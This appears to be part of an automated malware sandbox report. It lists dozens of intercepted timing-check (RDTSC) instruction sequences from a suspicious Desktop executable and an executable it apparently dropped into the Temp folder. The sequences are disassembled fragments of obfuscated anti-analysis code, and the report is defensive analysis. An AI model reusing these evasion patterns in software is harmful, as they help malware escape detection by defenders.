Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52C06D3 second address: 52C07C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74ACE25129h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ecx 0x0000000c pushad 0x0000000d mov ebx, eax 0x0000000f mov di, si 0x00000012 popad 0x00000013 xchg eax, esi 0x00000014 pushad 0x00000015 call 00007F74ACE25120h 0x0000001a pushfd 0x0000001b jmp 00007F74ACE25122h 0x00000020 and cl, FFFFFFA8h 0x00000023 jmp 00007F74ACE2511Bh 0x00000028 popfd 0x00000029 pop eax 0x0000002a pushfd 0x0000002b jmp 00007F74ACE25129h 0x00000030 adc ch, FFFFFFC6h 0x00000033 jmp 00007F74ACE25121h 0x00000038 popfd 0x00000039 popad 0x0000003a push eax 0x0000003b pushad 0x0000003c pushfd 0x0000003d jmp 00007F74ACE25127h 0x00000042 sbb ah, FFFFFFFEh 0x00000045 jmp 00007F74ACE25129h 0x0000004a popfd 0x0000004b push esi 0x0000004c mov edx, 1250E712h 0x00000051 pop ebx 0x00000052 popad 0x00000053 xchg eax, esi 0x00000054 pushad 0x00000055 call 00007F74ACE25124h 0x0000005a mov esi, 15D78841h 0x0000005f pop eax 0x00000060 popad 0x00000061 lea eax, dword ptr [ebp-04h] 0x00000064 push eax 0x00000065 push edx 0x00000066 push eax 0x00000067 push edx 0x00000068 pushad 0x00000069 popad 0x0000006a rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52C07C4 second address: 52C07CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52C07CA second address: 52C07CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52C07CF second address: 52C07DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ebp 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52C07DB second address: 52C0858 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cl, D6h 0x00000006 popad 0x00000007 pushfd 0x00000008 jmp 00007F74ACE25129h 0x0000000d sbb eax, 208C04A6h 0x00000013 jmp 00007F74ACE25121h 0x00000018 popfd 0x00000019 popad 0x0000001a mov dword ptr [esp], eax 0x0000001d pushad 0x0000001e mov bh, ch 0x00000020 pushfd 0x00000021 jmp 00007F74ACE25129h 0x00000026 xor eax, 2408C4B6h 0x0000002c jmp 00007F74ACE25121h 0x00000031 popfd 0x00000032 popad 0x00000033 push dword ptr [ebp+08h] 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 push edi 0x0000003a pop ecx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52C0858 second address: 52C085D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52C095D second address: 52C096C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74ACE2511Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52C096C second address: 52C0981 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F74AC8A01EFh 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52C0981 second address: 52C09C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, esi 0x00000009 pushad 0x0000000a jmp 00007F74ACE2511Bh 0x0000000f pushfd 0x00000010 jmp 00007F74ACE25128h 0x00000015 xor esi, 017772D8h 0x0000001b jmp 00007F74ACE2511Bh 0x00000020 popfd 0x00000021 popad 0x00000022 pop esi 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 push edx 0x00000027 pop eax 0x00000028 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52C09C8 second address: 52B005B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 leave 0x00000006 jmp 00007F74AC8A01EFh 0x0000000b retn 0004h 0x0000000e nop 0x0000000f sub esp, 04h 0x00000012 xor ebx, ebx 0x00000014 cmp eax, 00000000h 0x00000017 je 00007F74AC8A034Ah 0x0000001d mov dword ptr [esp], 0000000Dh 0x00000024 call 00007F74B15EC381h 0x00000029 mov edi, edi 0x0000002b jmp 00007F74AC8A01F2h 0x00000030 xchg eax, ebp 0x00000031 pushad 0x00000032 mov cl, 2Bh 0x00000034 pushfd 0x00000035 jmp 00007F74AC8A01F3h 0x0000003a and si, 677Eh 0x0000003f jmp 00007F74AC8A01F9h 0x00000044 popfd 0x00000045 popad 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007F74AC8A01ECh 0x0000004e rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52B005B second address: 52B0061 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52B0061 second address: 52B0065 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52B0065 second address: 52B008A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a jmp 00007F74ACE25122h 0x0000000f popad 0x00000010 mov ebp, esp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52B008A second address: 52B008E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52B008E second address: 52B00AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74ACE25129h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52B00AB second address: 52B00E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, di 0x00000006 mov di, C44Eh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d sub esp, 2Ch 0x00000010 jmp 00007F74AC8A01F5h 0x00000015 xchg eax, ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F74AC8A01EDh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52B0191 second address: 52B0195 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52B0195 second address: 52B01B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74AC8A01F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52B01B2 second address: 52B01B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52B01B8 second address: 52B01BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52B01BC second address: 52B01C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52B01C0 second address: 52B0207 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F74AC8A0418h 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F74AC8A01F5h 0x00000015 and al, 00000026h 0x00000018 jmp 00007F74AC8A01F1h 0x0000001d popfd 0x0000001e movzx eax, dx 0x00000021 popad 0x00000022 lea ecx, dword ptr [ebp-14h] 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52B0207 second address: 52B020D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52B020D second address: 52B0213 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52B0213 second address: 52B0217 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52B02D7 second address: 52B02F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74AC8A01ECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov esi, 2DC8B933h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52B03DC second address: 52B03E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52B03E0 second address: 52B03E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52B03E6 second address: 52B03EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52B03EC second address: 52B045F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74AC8A01EEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebx, dword ptr [ebp+08h] 0x0000000e jmp 00007F74AC8A01F0h 0x00000013 lea eax, dword ptr [ebp-2Ch] 0x00000016 jmp 00007F74AC8A01F0h 0x0000001b xchg eax, esi 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov edi, 7A4787F0h 0x00000024 pushfd 0x00000025 jmp 00007F74AC8A01F9h 0x0000002a xor ah, 00000076h 0x0000002d jmp 00007F74AC8A01F1h 0x00000032 popfd 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52B045F second address: 52B0496 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74ACE25121h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F74ACE25121h 0x0000000f xchg eax, esi 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F74ACE2511Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52B0496 second address: 52B057B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F74AC8A01F7h 0x00000009 adc eax, 183478BEh 0x0000000f jmp 00007F74AC8A01F9h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F74AC8A01F0h 0x0000001b or ax, 29B8h 0x00000020 jmp 00007F74AC8A01EBh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 nop 0x0000002a jmp 00007F74AC8A01F6h 0x0000002f push eax 0x00000030 pushad 0x00000031 pushad 0x00000032 pushfd 0x00000033 jmp 00007F74AC8A01F7h 0x00000038 sbb al, FFFFFFDEh 0x0000003b jmp 00007F74AC8A01F9h 0x00000040 popfd 0x00000041 pushfd 0x00000042 jmp 00007F74AC8A01F0h 0x00000047 or ax, 68D8h 0x0000004c jmp 00007F74AC8A01EBh 0x00000051 popfd 0x00000052 popad 0x00000053 movzx eax, bx 0x00000056 popad 0x00000057 nop 0x00000058 pushad 0x00000059 pushad 0x0000005a mov edi, 0154D452h 0x0000005f pushad 0x00000060 popad 0x00000061 popad 0x00000062 push eax 0x00000063 push edx 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52B057B second address: 52B057F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52B057F second address: 52B05A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74AC8A01F5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F74AC8A01EDh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52A0EB0 second address: 52A0EB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52A0EB6 second address: 52A0EBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52A0EBA second address: 52A0EC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52A0EC9 second address: 52A0ECF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52A0ECF second address: 52A0ED5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52A0ED5 second address: 52A0ED9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52B0983 second address: 52B0989 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52B0989 second address: 52B09B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a jmp 00007F74AC8A01EAh 0x0000000f call 00007F74AC8A01F2h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52B09B1 second address: 52B09CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007F74ACE2511Eh 0x0000000c xchg eax, ebp 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 mov ebx, ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52B09CC second address: 52B0ADB instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F74AC8A01F8h 0x00000008 or ch, 00000048h 0x0000000b jmp 00007F74AC8A01EBh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 mov ax, 76BFh 0x00000017 popad 0x00000018 mov ebp, esp 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F74AC8A01F0h 0x00000021 adc eax, 232C91A8h 0x00000027 jmp 00007F74AC8A01EBh 0x0000002c popfd 0x0000002d call 00007F74AC8A01F8h 0x00000032 pop edi 0x00000033 popad 0x00000034 cmp dword ptr [76C8459Ch], 05h 0x0000003b pushad 0x0000003c mov si, 59D9h 0x00000040 call 00007F74AC8A01F6h 0x00000045 pushfd 0x00000046 jmp 00007F74AC8A01F2h 0x0000004b sbb esi, 33DDF998h 0x00000051 jmp 00007F74AC8A01EBh 0x00000056 popfd 0x00000057 pop eax 0x00000058 popad 0x00000059 je 00007F751E20E15Fh 0x0000005f pushad 0x00000060 call 00007F74AC8A01F5h 0x00000065 pushfd 0x00000066 jmp 00007F74AC8A01F0h 0x0000006b adc eax, 2D167B28h 0x00000071 jmp 00007F74AC8A01EBh 0x00000076 popfd 0x00000077 pop eax 0x00000078 mov esi, ebx 0x0000007a popad 0x0000007b pop ebp 0x0000007c push eax 0x0000007d push edx 0x0000007e push eax 0x0000007f push edx 0x00000080 jmp 00007F74AC8A01EDh 0x00000085 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52B0ADB second address: 52B0ADF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52B0ADF second address: 52B0AE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52B0AE5 second address: 52B0AFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F74ACE25123h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52B0AFC second address: 52B0B00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52B0B1B second address: 52B0B1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52B0B1F second address: 52B0B47 instructions: 0x00000000 rdtsc 0x00000002 movsx ebx, cx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dx, cx 0x0000000a popad 0x0000000b push 0A676133h 0x00000010 jmp 00007F74AC8A01EBh 0x00000015 add dword ptr [esp], 6C603AF5h 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f movzx ecx, di 0x00000022 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52B0B47 second address: 52B0B88 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F74ACE25127h 0x00000008 add ax, 5C8Eh 0x0000000d jmp 00007F74ACE25129h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 mov cx, 756Dh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52B0BE9 second address: 52B0BEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52B0BEF second address: 52B0C4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F74ACE2511Ch 0x00000009 xor ax, 4E28h 0x0000000e jmp 00007F74ACE2511Bh 0x00000013 popfd 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 test al, al 0x0000001b jmp 00007F74ACE25124h 0x00000020 je 00007F751E788E70h 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F74ACE25127h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52C0A39 second address: 52C0A67 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74AC8A01F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F74AC8A01EDh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52C0A67 second address: 52C0AAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74ACE25121h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F74ACE2511Eh 0x0000000f push eax 0x00000010 jmp 00007F74ACE2511Bh 0x00000015 xchg eax, esi 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F74ACE25125h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52C0AAF second address: 52C0AB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52C0AB4 second address: 52C0B94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edi, 6F333190h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov esi, dword ptr [ebp+0Ch] 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F74ACE25125h 0x00000016 and si, 6C16h 0x0000001b jmp 00007F74ACE25121h 0x00000020 popfd 0x00000021 pushfd 0x00000022 jmp 00007F74ACE25120h 0x00000027 add ax, 5038h 0x0000002c jmp 00007F74ACE2511Bh 0x00000031 popfd 0x00000032 popad 0x00000033 test esi, esi 0x00000035 jmp 00007F74ACE25126h 0x0000003a je 00007F751E7829A1h 0x00000040 pushad 0x00000041 pushad 0x00000042 mov eax, 21EA1FF3h 0x00000047 push esi 0x00000048 pop ebx 0x00000049 popad 0x0000004a mov esi, 2FE79A6Bh 0x0000004f popad 0x00000050 cmp dword ptr [76C8459Ch], 05h 0x00000057 jmp 00007F74ACE2511Eh 0x0000005c je 00007F751E79AA56h 0x00000062 push eax 0x00000063 push edx 0x00000064 pushad 0x00000065 push edx 0x00000066 pop esi 0x00000067 pushfd 0x00000068 jmp 00007F74ACE25129h 0x0000006d sbb cx, 9196h 0x00000072 jmp 00007F74ACE25121h 0x00000077 popfd 0x00000078 popad 0x00000079 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52C0B94 second address: 52C0B9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52C0B9A second address: 52C0B9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52C0B9E second address: 52C0BA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 906CAA second address: 906CAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 906CAE second address: 906CC1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jmp 00007F74AC8A01EBh 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 906CC1 second address: 906CCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F74ACE2511Ah 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 906CCF second address: 906CDB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 906CDB second address: 906CE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 911753 second address: 91175A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 911B8E second address: 911B9F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74ACE2511Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 911CF4 second address: 911D14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F74AC8A01E6h 0x0000000a jmp 00007F74AC8A01F6h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 914EC6 second address: 914F02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d mov ecx, 5D09F422h 0x00000012 push 00000000h 0x00000014 movzx edi, dx 0x00000017 call 00007F74ACE25119h 0x0000001c pushad 0x0000001d jmp 00007F74ACE25127h 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	RDTSC instruction interceptor: First address: 914F02 second address: 914F06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
